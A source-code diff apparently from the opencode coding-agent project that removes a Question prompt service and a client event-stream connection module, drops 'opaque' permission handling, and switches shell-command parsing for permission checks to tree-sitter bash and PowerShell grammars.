export type QuestionRequest = { id: string; sessionID: string; questions: Array<QuestionInfo>; tool?: QuestionTool }
export type FormField1 =
| FormStringField1
| FormNumberField1
@@ -2116,9 +2071,6 @@ export type V2Event =
| ShellCreated
| ShellExited
| ShellDeleted
| QuestionAsked
| QuestionReplied
| QuestionRejected
| FormCreated
| FormReplied
| FormCancelled
@@ -2298,14 +2250,6 @@ export type ShellNotFoundError = { readonly _tag: "ShellNotFoundError"; readonly
export const isShellNotFoundError = (value: unknown): value is ShellNotFoundError =>
typeof value === "object" && value !== null && "_tag" in value && value["_tag"] === "ShellNotFoundError"
export type QuestionNotFoundError = {
readonly _tag: "QuestionNotFoundError"
readonly requestID: string
readonly message: string
}
export const isQuestionNotFoundError = (value: unknown): value is QuestionNotFoundError =>
typeof value === "object" && value !== null && "_tag" in value && value["_tag"] === "QuestionNotFoundError"
export type WorktreeError = {
readonly name: "WorktreeError"
readonly data: { readonly message: string; readonly forceRequired?: boolean | undefined }
@@ -5232,7 +5176,6 @@ export type PermissionCreateInput = {
readonly action: string
readonly resources: ReadonlyArray<string>
readonly save?: ReadonlyArray<string>
readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
@@ -5242,7 +5185,6 @@ export type PermissionCreateInput = {
readonly action: string
readonly resources: ReadonlyArray<string>
readonly save?: ReadonlyArray<string>
readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
@@ -5252,7 +5194,6 @@ export type PermissionCreateInput = {
readonly action: string
readonly resources: ReadonlyArray<string>
readonly save?: ReadonlyArray<string>
readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
@@ -5262,27 +5203,15 @@ export type PermissionCreateInput = {
readonly action: string
readonly resources: ReadonlyArray<string>
readonly save?: ReadonlyArray<string>
readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
}["save"]
readonly opaque?: {
readonly id?: string | null
readonly action: string
readonly resources: ReadonlyArray<string>
readonly save?: ReadonlyArray<string>
readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
}["opaque"]
readonly metadata?: {
readonly id?: string | null
readonly action: string
readonly resources: ReadonlyArray<string>
readonly save?: ReadonlyArray<string>
readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
@@ -5292,7 +5221,6 @@ export type PermissionCreateInput = {
readonly action: string
readonly resources: ReadonlyArray<string>
readonly save?: ReadonlyArray<string>
readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
@@ -5302,7 +5230,6 @@ export type PermissionCreateInput = {
readonly action: string
readonly resources: ReadonlyArray<string>
readonly save?: ReadonlyArray<string>
readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
@@ -5611,36 +5538,6 @@ export type ShellRemoveInput = {
export type ShellRemoveOutput = void
export type QuestionRequestListInput = {
readonly location?: {
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
}["location"]
}
export type QuestionRequestListOutput = {
location: { directory: string; workspaceID?: string; project: { id: string; directory: string; canonical: string } }
data: Array<QuestionRequest>
}
export type QuestionListInput = { readonly sessionID: { readonly sessionID: string }["sessionID"] }
export type QuestionListOutput = { data: Array<QuestionRequest> }["data"]
export type QuestionReplyInput = {
readonly sessionID: { readonly sessionID: string; readonly requestID: string }["sessionID"]
readonly requestID: { readonly sessionID: string; readonly requestID: string }["requestID"]
readonly answers: { readonly answers: ReadonlyArray<ReadonlyArray<string>> }["answers"]
}
export type QuestionReplyOutput = void
export type QuestionRejectInput = {
readonly sessionID: { readonly sessionID: string; readonly requestID: string }["sessionID"]
readonly requestID: { readonly sessionID: string; readonly requestID: string }["requestID"]
}
export type QuestionRejectOutput = void
export type ReferenceListInput = {
readonly location?: {
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
-269
View File
@@ -1,269 +0,0 @@
import { batch, onCleanup, onMount } from "solid-js"
import { createStore } from "solid-js/store"
import type { OpenCodeClient, OpenCodeEvent } from "../promise"
export type ClientConnectionStatus = "connected" | "connecting" | "reconnecting"
export type ClientConnectionEvent = {
readonly type: "client.connection"
readonly created: number
readonly data: {
readonly status: "connecting" | "connected" | "disconnected" | "reconnecting"
readonly attempt: number
readonly error?: string
}
}
export type ClientConnectionOptions = {
readonly reconnect?: (signal: AbortSignal) => Promise<OpenCodeClient>
readonly onEvent: (event: OpenCodeEvent) => void
readonly flushInterval?: number
readonly pageLifecycle?: boolean
readonly log?: {
readonly debug?: (message: string, data?: Readonly<Record<string, unknown>>) => void
readonly info?: (message: string, data?: Readonly<Record<string, unknown>>) => void
}
}
const connectTimeout = 2_000
const reconnectDelay = 1_000
const connectionHistoryLimit = 50
type CurrentDelta = Extract<
OpenCodeEvent,
{ type: "session.text.delta" | "session.reasoning.delta" | "session.tool.input.delta" | "session.compaction.delta" }
>
export function coalesceClientEvents(events: OpenCodeEvent[]) {
return events.reduce<OpenCodeEvent[]>((output, event) => {
const current = currentDelta(event)
const previous = output[output.length - 1]
const prior = currentDelta(previous)
if (
!current ||
!prior ||
previous?.location?.directory !== event.location?.directory ||
currentDeltaKey(prior) !== currentDeltaKey(current)
) {
output.push(event)
return output
}
const fragment = currentDeltaFragment(prior) + currentDeltaFragment(current)
output[output.length - 1] = {
...current,
data:
current.type === "session.compaction.delta"
? { ...current.data, text: fragment }
: { ...current.data, delta: fragment },
} as CurrentDelta
return output
}, [])
}
function currentDelta(event: OpenCodeEvent | undefined): CurrentDelta | undefined {
if (
event?.type === "session.text.delta" ||
event?.type === "session.reasoning.delta" ||
event?.type === "session.tool.input.delta" ||
event?.type === "session.compaction.delta"
)
return event
}
function currentDeltaKey(event: CurrentDelta) {
if (event.type === "session.tool.input.delta")
return `${event.type}:${event.data.sessionID}:${event.data.assistantMessageID}:${event.data.id}`
if (event.type === "session.compaction.delta") return `${event.type}:${event.data.sessionID}`
return `${event.type}:${event.data.sessionID}:${event.data.assistantMessageID}:${event.data.ordinal}`
}
function currentDeltaFragment(event: CurrentDelta) {
return event.type === "session.compaction.delta" ? event.data.text : event.data.delta
}
export function createClientConnection(initialApi: OpenCodeClient, options: ClientConnectionOptions) {
const abort = new AbortController()
const history: ClientConnectionEvent[] = []
const [connection, setConnection] = createStore<{
status: ClientConnectionStatus
attempt: number
error?: string
}>({ status: "connecting", attempt: 0 })
let api = initialApi
let pending: OpenCodeEvent[] = []
let flushTimer: ReturnType<typeof setTimeout> | undefined
let stream: AbortController | undefined
let run: Promise<void> | undefined
let started = false
let generation = 0
function record(status: ClientConnectionEvent["data"]["status"], attempt: number, error?: string) {
history.push({ type: "client.connection", created: Date.now(), data: { status, attempt, error } })
if (history.length > connectionHistoryLimit) history.shift()
}
function publish(event: OpenCodeEvent) {
pending.push(event)
if (flushTimer) return
flushTimer = setTimeout(() => {
flushTimer = undefined
const events = pending
pending = []
batch(() => coalesceClientEvents(events).forEach(options.onEvent))
}, options.flushInterval ?? 10)
}
async function connect(signal: AbortSignal, attempt: number) {
let connectedAt: number | undefined
const request = new AbortController()
const cancel = () => request.abort(signal.reason)
const timeout = setTimeout(() => request.abort(new Error("Timed out connecting to server")), connectTimeout)
signal.addEventListener("abort", cancel, { once: true })
try {
record(attempt === 0 ? "connecting" : "reconnecting", attempt)
options.log?.info?.("event stream connecting", { attempt })
const iterator = api.event.subscribe({ signal: request.signal })[Symbol.asyncIterator]()
const first = await iterator.next()
if (signal.aborted) return { error: undefined, connectedAt }
if (first.done)
return {
error: request.signal.reason instanceof Error ? request.signal.reason : new Error("Event stream disconnected"),
connectedAt,
}
if (first.value.type !== "server.connected")
return { error: new Error("Event stream did not start with server.connected"), connectedAt }
clearTimeout(timeout)
record("connected", attempt)
connectedAt = Date.now()
options.log?.info?.("event stream connected")
publish(first.value)
setConnection({ status: "connected", attempt: 0, error: undefined })
while (!signal.aborted) {
const event = await iterator.next()
if (signal.aborted) return { error: undefined, connectedAt }
if (event.done) return { error: new Error("Event stream disconnected"), connectedAt }
if ("durable" in event.value)
options.log?.debug?.("event", {
type: event.value.type,
aggregateID: event.value.durable.aggregateID,
seq: event.value.durable.seq,
})
publish(event.value)
}
return { error: undefined, connectedAt }
} catch (error) {
return { error, connectedAt }
} finally {
request.abort()
clearTimeout(timeout)
signal.removeEventListener("abort", cancel)
}
}
async function runStream(active: number) {
let attempt = 0
while (!abort.signal.aborted && started && generation === active) {
setConnection({ status: attempt === 0 ? "connecting" : "reconnecting", attempt, error: undefined })
const controller = new AbortController()
stream = controller
const cancel = () => controller.abort(abort.signal.reason)
abort.signal.addEventListener("abort", cancel)
const result = await connect(controller.signal, attempt)
abort.signal.removeEventListener("abort", cancel)
if (abort.signal.aborted || !started || generation !== active) return
if (result.connectedAt !== undefined && Date.now() - result.connectedAt >= reconnectDelay) attempt = 0
attempt += 1
const message = errorMessage(result.error)
record("disconnected", attempt, message)
options.log?.info?.("event stream disconnected", { attempt, error: message })
setConnection({ status: "reconnecting", attempt, error: message })
if (options.reconnect) {
const next = await options.reconnect(controller.signal).catch((error) => {
if (!controller.signal.aborted)
options.log?.info?.("server resolution failed", { attempt, error: errorMessage(error) })
})
if (abort.signal.aborted || controller.signal.aborted || !started || generation !== active) return
if (next) {
api = next
if (attempt === 1) continue
}
}
await wait(reconnectDelay, controller.signal)
}
}
function start() {
if (started) return run
started = true
const active = ++generation
const previous = run
const current = (async () => {
if (previous) await previous
await runStream(active)
})().finally(() => {
if (run !== current) return
run = undefined
})
run = current
return run
}
function stop() {
started = false
generation += 1
stream?.abort()
}
onMount(() => {
if (options.pageLifecycle) {
const pagehide = () => stop()
const pageshow = (event: PageTransitionEvent) => {
if (event.persisted) void start()
}
window.addEventListener("pagehide", pagehide)
window.addEventListener("pageshow", pageshow)
onCleanup(() => {
window.removeEventListener("pagehide", pagehide)
window.removeEventListener("pageshow", pageshow)
})
}
void start()
})
onCleanup(() => {
stop()
abort.abort()
if (flushTimer) clearTimeout(flushTimer)
pending = []
})
return {
status: () => connection.status,
attempt: () => connection.attempt,
error: () => connection.error,
internal: {
history: () => history.slice(),
},
}
}
function errorMessage(error: unknown) {
if (error === undefined) return undefined
if (error instanceof Error) return error.message
return String(error)
}
function wait(delay: number, signal: AbortSignal) {
return new Promise<void>((resolve) => {
const timer = setTimeout(done, delay)
signal.addEventListener("abort", done, { once: true })
function done() {
clearTimeout(timer)
signal.removeEventListener("abort", done)
resolve()
}
})
}
File diff suppressed because it is too large Load Diff
-2
View File
@@ -1,2 +0,0 @@
export * from "./data"
export * from "./connection"
@@ -1,44 +0,0 @@
import { describe, expect, test } from "bun:test"
import type { OpenCodeEvent } from "../src/promise"
import { coalesceClientEvents } from "../src/solid/connection"
describe("coalesceClientEvents", () => {
const delta = (id: string, value: string, ordinal = 0) =>
({
id,
created: 1,
type: "session.text.delta",
location: { directory: "/repo" },
data: { sessionID: "ses", assistantMessageID: "msg", ordinal, delta: value },
}) as OpenCodeEvent
test("merges adjacent deltas for the same stream", () => {
const result = coalesceClientEvents([delta("evt_1", "hello "), delta("evt_2", "world")])
expect(result).toHaveLength(1)
expect(result[0]).toMatchObject({ id: "evt_2", data: { delta: "hello world" } })
})
test("coalesces tool input deltas by tool ID", () => {
const current = (eventID: string, id: string, value: string) =>
({
id: eventID,
created: 1,
type: "session.tool.input.delta",
location: { directory: "/repo" },
data: { sessionID: "ses", assistantMessageID: "msg", id, delta: value },
}) as OpenCodeEvent
const result = coalesceClientEvents([
current("evt_1", "call_1", "{"),
current("evt_2", "call_1", "}"),
current("evt_3", "call_2", "[]"),
])
expect(result).toHaveLength(2)
expect(result[0]).toMatchObject({ id: "evt_2", data: { id: "call_1", delta: "{}" } })
expect(result[1]).toMatchObject({ id: "evt_3", data: { id: "call_2", delta: "[]" } })
})
test("preserves boundaries between distinct delta streams", () => {
const events = [delta("evt_1", "a"), delta("evt_2", "b", 1), delta("evt_3", "c")]
expect(coalesceClientEvents(events).map((event) => event.id)).toEqual(["evt_1", "evt_2", "evt_3"])
})
})
+9 -1
View File
@@ -53,6 +53,12 @@
"node": "./src/image/photon-wasm.node.ts",
"default": "./src/image/photon-wasm.bun.ts"
},
"#shell-parser-wasm": {
"workerd": "./src/shell/parser-wasm.workerd.ts",
"bun": "./src/shell/parser-wasm.bun.ts",
"node": "./src/shell/parser-wasm.node.ts",
"default": "./src/shell/parser-wasm.bun.ts"
},
"#process-lock-ffi": {
"workerd": "./src/util/process-lock-ffi.workerd.ts",
"bun": "./src/util/process-lock-ffi.bun.ts",
@@ -74,7 +80,6 @@
"@types/bun": "catalog:",
"@types/node": "catalog:",
"@types/which": "3.0.4",
"@opencode-ai/shell-scan": "workspace:*",
"@parcel/watcher-darwin-arm64": "2.5.1",
"@parcel/watcher-darwin-x64": "2.5.1",
"@parcel/watcher-linux-arm64-glibc": "2.5.1",
@@ -131,7 +136,10 @@
"ignore": "7.0.5",
"jsonc-parser": "3.3.1",
"mime-types": "3.0.2",
"tree-sitter-bash": "0.25.0",
"tree-sitter-powershell": "0.25.10",
"venice-ai-sdk-provider": "2.1.1",
"web-tree-sitter": "0.25.10",
"which": "6.0.1",
"zod": "catalog:"
}
+1 -11
View File
@@ -19,17 +19,7 @@ const result = await Bun.build({
target: "node",
format: "esm",
packages: "external",
external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#process-lock-ffi", "#v1-migration"],
plugins: [
{
name: "bundle-shell-scan",
setup(build) {
build.onResolve({ filter: /^@opencode-ai\/shell-scan$/ }, () => ({
path: path.resolve("../shell-scan/src/index.ts"),
}))
},
},
],
external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#shell-parser-wasm", "#process-lock-ffi", "#v1-migration"],
splitting: true,
loader: {
".txt": "text",
-2
View File
@@ -27,7 +27,6 @@ import { Plugin } from "./plugin.js"
import { PluginSupervisor } from "./plugin/supervisor.js"
import { Worktree } from "./worktree.js"
import { Pty } from "./pty.js"
import { Question } from "./question.js"
import { Shell } from "./shell.js"
import { Reference } from "./reference.js"
import { WebSearch } from "./websearch.js"
@@ -86,7 +85,6 @@ const locationServiceNodes = [
ReferenceInstructions.node,
InstructionEntry.node,
Form.node,
Question.node,
Generate.node,
SessionGenerateNode.node,
ReadToolFileSystem.node,
+26 -43
View File
@@ -1,7 +1,7 @@
export * as Permission from "./permission.js"
import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
import { Context, Deferred, Effect, Layer, Schema, Struct } from "effect"
import { Context, Deferred, Effect, Layer, Schema } from "effect"
import { Permission } from "@opencode-ai/schema/permission"
import { Bus } from "./bus.js"
import { Location } from "./location.js"
@@ -23,6 +23,15 @@ export type ID = typeof ID.Type
export const Source = Permission.Source
export type Source = typeof Source.Type
const RequestFields = {
sessionID: Permission.Request.fields.sessionID,
action: Permission.Request.fields.action,
resources: Permission.Request.fields.resources,
save: Permission.Request.fields.save,
metadata: Permission.Request.fields.metadata,
source: Permission.Request.fields.source,
}
export const Request = Permission.Request
export type Request = typeof Request.Type
@@ -31,7 +40,7 @@ export type Reply = typeof Reply.Type
export const AssertInput = Schema.Struct({
id: ID.pipe(Schema.optional),
...Struct.omit(Permission.Request.fields, ["id"]),
...RequestFields,
agent: Agent.ID.pipe(Schema.optional),
}).annotate({ identifier: "Permission.AssertInput" })
export type AssertInput = typeof AssertInput.Type
@@ -85,16 +94,6 @@ export function evaluate(action: string, resource: string, ...rulesets: Permissi
)
}
function evaluateOpaque(action: string, rules: Permission.Ruleset): Permission.Rule {
return (
rules.findLast((rule) => Wildcard.match(action, rule.action) && rule.resource === "*") ?? {
action,
resource: "*",
effect: "ask",
}
)
}
export function merge(...rulesets: Permission.Ruleset[]): Permission.Ruleset {
return rulesets.flat()
}
@@ -179,13 +178,6 @@ const layer = Layer.effect(
})
function denied(input: AssertInput, rules: Permission.Ruleset) {
if (input.opaque)
return rules.some(
(rule) =>
rule.effect === "deny" &&
Wildcard.match(input.action, rule.action) &&
input.resources.some((resource) => resource === "*" || Wildcard.match(resource, rule.resource)),
)
return input.resources.some((resource) => evaluate(input.action, resource, rules).effect === "deny")
}
@@ -195,27 +187,9 @@ const layer = Layer.effect(
const evaluateInput = Effect.fnUntraced(function* (input: AssertInput) {
const rules = yield* configured(input.sessionID, input.agent)
if (input.resources.length === 0) return { effect: "deny" as const, rules }
if (denied(input, rules)) return { effect: "deny" as const, rules }
if (
input.opaque &&
rules.some(
(rule) => rule.effect !== "allow" && rule.resource !== "*" && Wildcard.match(input.action, rule.action),
)
)
return { effect: "ask" as const, rules }
const saved = yield* savedRules()
if (
input.opaque &&
input.resources.every((resource) =>
saved.some((rule) => Wildcard.match(input.action, rule.action) && rule.resource === resource),
)
)
return { effect: "allow" as const, rules: [...rules, ...saved] }
const all = [...rules, ...saved]
const effects = input.opaque
? [evaluateOpaque(input.action, all).effect]
: input.resources.map((resource) => evaluate(input.action, resource, all).effect)
const all = [...rules, ...(yield* savedRules())]
const effects = input.resources.map((resource) => evaluate(input.action, resource, all).effect)
const effect: Permission.Effect = effects.includes("deny") ? "deny" : effects.includes("ask") ? "ask" : "allow"
return { effect, rules: all }
})
@@ -226,8 +200,7 @@ const layer = Layer.effect(
sessionID: input.sessionID,
action: input.action,
resources: input.resources,
save: input.opaque ? input.resources : input.save,
opaque: input.opaque,
save: input.save,
metadata: input.metadata,
source: input.source,
}
@@ -326,11 +299,21 @@ const layer = Layer.effect(
pending.delete(input.requestID)
if (input.reply !== "always" || !existing.request.save?.length) return
const rememberedRules = yield* savedRules()
for (const [id, item] of pending) {
const result = yield* evaluateInput({ ...item.request, agent: item.agent }).pipe(
const input = { ...item.request }
const rules = yield* configured(item.request.sessionID, item.agent).pipe(
Effect.catchTag("Session.NotFoundError", () => Effect.succeed(undefined)),
)
if (!result || result.effect !== "allow") continue
if (!rules) continue
if (denied(input, rules)) continue
const effective = [...rules, ...rememberedRules]
if (
!item.request.resources.every(
(resource) => evaluate(item.request.action, resource, effective).effect === "allow",
)
)
continue
yield* bus.publish(Permission.Event.Replied, {
sessionID: item.request.sessionID,
requestID: item.request.id,
-151
View File
@@ -1,151 +0,0 @@
export * as Question from "./question.js"
import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
import { Context, Deferred, Effect, Layer, Schema } from "effect"
import { Question } from "@opencode-ai/schema/question"
import { Bus } from "./bus.js"
import { SessionSchema } from "./session/schema.js"
export const ID = Question.ID
export type ID = typeof ID.Type
export const Option = Question.Option
export type Option = typeof Option.Type
export const Info = Question.Info
export type Info = typeof Info.Type
export const Prompt = Question.Prompt
export type Prompt = typeof Prompt.Type
export const Tool = Question.Tool
export type Tool = typeof Tool.Type
export const Request = Question.Request
export type Request = typeof Request.Type
export const Answer = Question.Answer
export type Answer = typeof Answer.Type
export const Reply = Question.Reply
export type Reply = typeof Reply.Type
export { Event } from "@opencode-ai/schema/question"
export class RejectedError extends Schema.TaggedErrorClass<RejectedError>()("Question.RejectedError", {}) {
override get message() {
return "The user dismissed this question"
}
}
export class NotFoundError extends Schema.TaggedErrorClass<NotFoundError>()("Question.NotFoundError", {
requestID: ID,
}) {}
export interface AskInput {
readonly sessionID: SessionSchema.ID
readonly questions: ReadonlyArray<Info>
readonly tool?: Tool
}
export interface ReplyInput {
readonly requestID: ID
readonly answers: ReadonlyArray<Answer>
}
export interface Interface {
readonly ask: (input: AskInput) => Effect.Effect<ReadonlyArray<Answer>, RejectedError>
readonly reply: (input: ReplyInput) => Effect.Effect<void, NotFoundError>
readonly reject: (requestID: ID) => Effect.Effect<void, NotFoundError>
readonly list: () => Effect.Effect<ReadonlyArray<Request>>
}
export class Service extends Context.Service<Service, Interface>()("@opencode/Question") {}
interface Pending {
readonly request: Request
readonly deferred: Deferred.Deferred<ReadonlyArray<Answer>, RejectedError>
}
/**
* Location-owned pending prompts. The Location layer map must materialize this
* layer once per embedded Location so replies cannot settle another Location's
* deferred request.
*/
const layer = Layer.effect(
Service,
Effect.gen(function* () {
const bus = yield* Bus.Service
const pending = new Map<ID, Pending>()
yield* Effect.addFinalizer(() =>
Effect.forEach(pending.values(), (item) => Deferred.fail(item.deferred, new RejectedError()), {
discard: true,
}).pipe(
Effect.ensuring(
Effect.sync(() => {
pending.clear()
}),
),
),
)
const ask = Effect.fn("Question.ask")((input: AskInput) =>
Effect.uninterruptibleMask((restore) =>
Effect.gen(function* () {
const id = ID.ascending()
const deferred = yield* Deferred.make<ReadonlyArray<Answer>, RejectedError>()
const request: Request = { id, ...input }
pending.set(id, { request, deferred })
return yield* bus.publish(Question.Event.Asked, request).pipe(
Effect.andThen(restore(Deferred.await(deferred))),
Effect.ensuring(
Effect.sync(() => {
pending.delete(id)
}),
),
)
}),
),
)
const reply = Effect.fn("Question.reply")((input: ReplyInput) =>
Effect.uninterruptible(
Effect.gen(function* () {
const existing = pending.get(input.requestID)
if (!existing) return yield* new NotFoundError({ requestID: input.requestID })
yield* bus.publish(Question.Event.Replied, {
sessionID: existing.request.sessionID,
requestID: existing.request.id,
answers: input.answers.map((answer) => [...answer]),
})
yield* Deferred.succeed(existing.deferred, input.answers)
pending.delete(input.requestID)
}),
),
)
const reject = Effect.fn("Question.reject")((requestID: ID) =>
Effect.uninterruptible(
Effect.gen(function* () {
const existing = pending.get(requestID)
if (!existing) return yield* new NotFoundError({ requestID })
yield* bus.publish(Question.Event.Rejected, {
sessionID: existing.request.sessionID,
requestID: existing.request.id,
})
yield* Deferred.fail(existing.deferred, new RejectedError())
pending.delete(requestID)
}),
),
)
const list = Effect.fn("Question.list")(function* () {
return Array.from(pending.values(), (item) => item.request)
})
return Service.of({ ask, reply, reject, list })
}),
)
export const node = makeLocationNode({ service: Service, layer, deps: [Bus.node] })
@@ -2,7 +2,6 @@ import { AIError, ToolFailure } from "@opencode-ai/ai"
import { Tool } from "@opencode-ai/schema/tool"
import { SessionError } from "@opencode-ai/schema/session-error"
import { Permission } from "../permission.js"
import { Question } from "../question.js"
import { Integration } from "../integration.js"
import { AgentNotFoundError, StepFailedError, UserInterruptedError } from "./error.js"
import { SessionRunnerModel } from "./runner/model.js"
@@ -37,7 +36,6 @@ export function toSessionError(cause: unknown): SessionError.Error {
}
}
if (cause instanceof Permission.BlockedError) return { type: "permission.rejected", message: cause.message }
if (cause instanceof Question.RejectedError) return { type: "aborted", message: cause.message }
if (cause instanceof ToolFailure || cause instanceof Tool.Error) {
if (cause.error === undefined) return { type: "tool.execution", message: cause.message }
// The canonical error is the sole model-visible representation, so a cause
+87 -54
View File
@@ -1,12 +1,15 @@
export * as ShellParse from "./parse.js"
import { Effect } from "effect"
import { ShellScan } from "@opencode-ai/shell-scan"
import { fileURLToPath } from "url"
import os from "os"
import path from "path"
import type { Node } from "web-tree-sitter"
import { shellParserWasm } from "#shell-parser-wasm"
import { ShellSelect } from "./select.js"
const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location", "sl"])
type Part = { type: string; text: string }
const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location"])
const POWERSHELL_PATH_FLAGS = new Set(["-literalpath", "-path"])
const ARITY: Record<string, number> = {
@@ -150,71 +153,77 @@ const ARITY: Record<string, number> = {
}
export const scan = Effect.fn("ShellParse.scan")(function* (command: string, shell: string, cwd: string) {
return scanCommands(command, cwd, shell, ShellSelect.ps(shell))
const parsers = yield* Effect.promise(load)
const powershell = ShellSelect.ps(shell)
const tree = (powershell ? parsers.ps : parsers.bash).parse(command)
if (!tree) return yield* Effect.fail(new Error("Failed to parse shell command"))
return yield* Effect.acquireUseRelease(
Effect.succeed(tree),
(tree) =>
Effect.sync(() =>
tree.rootNode.descendantsOfType("command").reduce(
(result, node) => {
if (!node) return result
const command = parts(node)
const tokens = command.map((part) => part.text)
if (tokens.length === 0) return result
const name = powershell ? tokens[0].toLowerCase() : tokens[0]
if (CWD.has(name)) {
result.directories.push(...directoryArgs(command, powershell, cwd, shell))
return result
}
result.commands.push({
resource: (node.parent?.type === "redirected_statement" ? node.parent.text : node.text).trim(),
save: `${prefix(tokens).join(" ")} *`,
})
return result
},
{ commands: [] as Array<{ resource: string; save: string }>, directories: [] as string[] },
),
),
(tree) => Effect.sync(() => tree.delete()),
)
})
function scanCommands(command: string, cwd: string, shell: string, powershell: boolean) {
const result = powershell ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
if (result.kind === "opaque")
return {
commands: [{ resource: command, save: command }],
directories: [],
opaque: true,
directoryUnknown: true,
}
if (
result.commands.some((item) => {
const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
if (!name || !CWD.has(name) || name === "popd" || name === "pop-location") return false
return directoryArgs(item.words, powershell, cwd, shell).length === 0
})
)
return { commands: [{ resource: command }], directories: [], opaque: true, directoryUnknown: true }
return result.commands.reduce(
(output, item) => {
const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
if (!name) return output
if (CWD.has(name)) {
output.directories.push(...directoryArgs(item.words, powershell, cwd, shell))
return output
}
output.commands.push({ resource: item.resource, save: `${prefix(item.words).join(" ")} *` })
return output
},
{
commands: [] as Array<{ resource: string; save: string }>,
directories: [] as string[],
opaque: false,
},
)
function parts(node: Node) {
return Array.from({ length: node.childCount }).flatMap((_, index): Part[] => {
const child = node.child(index)
if (!child) return []
if (child.type === "command_elements")
return Array.from({ length: child.childCount }).flatMap((_, itemIndex): Part[] => {
const item = child.child(itemIndex)
if (!item || item.type === "command_argument_sep" || item.type === "redirection") return []
return [{ type: item.type, text: item.text }]
})
if (!["command_name", "command_name_expr", "word", "string", "raw_string", "concatenation"].includes(child.type))
return []
return [{ type: child.type, text: child.text }]
})
}
function directoryArgs(command: string[], powershell: boolean, cwd: string, shell: string) {
if (!powershell) {
const values = command
function directoryArgs(command: Part[], powershell: boolean, cwd: string, shell: string) {
if (!powershell)
return command
.slice(1)
.filter((part) => !part.startsWith("-"))
.map((part) => directoryArgument(part, powershell, cwd, shell))
.filter((part) => !part.text.startsWith("-"))
.map((part) => directoryArgument(part.text, powershell, cwd, shell))
.filter((part) => part !== undefined)
if (command[0] === "cd" && (values.length !== 1 || (!path.isAbsolute(values[0]) && Boolean(process.env.CDPATH))))
return []
return values
}
const directories: string[] = []
let expectsPath = false
let path = false
for (const part of command.slice(1)) {
if (expectsPath) {
const value = directoryArgument(part, powershell, cwd, shell)
if (path) {
const value = directoryArgument(part.text, powershell, cwd, shell)
if (value) directories.push(value)
expectsPath = false
path = false
continue
}
if (part.startsWith("-")) {
expectsPath = POWERSHELL_PATH_FLAGS.has(part.toLowerCase())
if (part.type === "command_parameter") {
path = POWERSHELL_PATH_FLAGS.has(part.text.toLowerCase())
continue
}
const value = directoryArgument(part, powershell, cwd, shell)
const value = directoryArgument(part.text, powershell, cwd, shell)
if (value) directories.push(value)
}
return directories
@@ -244,7 +253,6 @@ function expandKnownDirectory(value: string) {
if (value.includes("$") || value.includes("`") || value.startsWith("(")) return
if (value === "~") return os.homedir()
if (value.startsWith("~/") || value.startsWith("~\\")) return path.join(os.homedir(), value.slice(2))
if (value.startsWith("~")) return
return value
}
@@ -261,3 +269,28 @@ function prefix(tokens: string[]) {
}
return tokens.slice(0, 1)
}
function resolve(asset: string) {
if (asset.startsWith("file://")) return fileURLToPath(asset)
if (path.isAbsolute(asset)) return asset
return fileURLToPath(new URL(asset, import.meta.url))
}
const load = (() => {
let loading: ReturnType<typeof initialize> | undefined
return () => (loading ??= initialize())
})()
async function initialize() {
const { Parser, Language } = await import("web-tree-sitter")
await Parser.init({ locateFile: () => resolve(shellParserWasm.runtime) })
const [bashLanguage, psLanguage] = await Promise.all([
Language.load(resolve(shellParserWasm.bash)),
Language.load(resolve(shellParserWasm.powershell)),
])
const bash = new Parser()
bash.setLanguage(bashLanguage)
const ps = new Parser()
ps.setLanguage(psLanguage)
return { bash, ps }
}
@@ -0,0 +1,8 @@
// @ts-ignore Bun embeds static file imports when compiling the CLI.
import runtime from "web-tree-sitter/tree-sitter.wasm" with { type: "file" }
// @ts-ignore Bun embeds static file imports when compiling the CLI.
import bash from "tree-sitter-bash/tree-sitter-bash.wasm" with { type: "file" }
// @ts-ignore Bun embeds static file imports when compiling the CLI.
import powershell from "tree-sitter-powershell/tree-sitter-powershell.wasm" with { type: "file" }
export const shellParserWasm = { runtime, bash, powershell }
@@ -0,0 +1,11 @@
import { createRequire } from "node:module"
const require = createRequire(import.meta.url)
export const shellParserWasm = {
runtime: process.env.OPENCODE_TREE_SITTER_WASM_PATH ?? require.resolve("web-tree-sitter/tree-sitter.wasm"),
bash: process.env.OPENCODE_TREE_SITTER_BASH_WASM_PATH ?? require.resolve("tree-sitter-bash/tree-sitter-bash.wasm"),
powershell:
process.env.OPENCODE_TREE_SITTER_POWERSHELL_WASM_PATH ??
require.resolve("tree-sitter-powershell/tree-sitter-powershell.wasm"),
}
@@ -0,0 +1,4 @@
// workerd has no filesystem paths to tree-sitter wasm artifacts. ShellParse
// loads these lazily and degrades when initialization fails, so empty paths
// keep module load side-effect free instead of resolving from disk.
export const shellParserWasm = { runtime: "", bash: "", powershell: "" }
+1 -1
View File
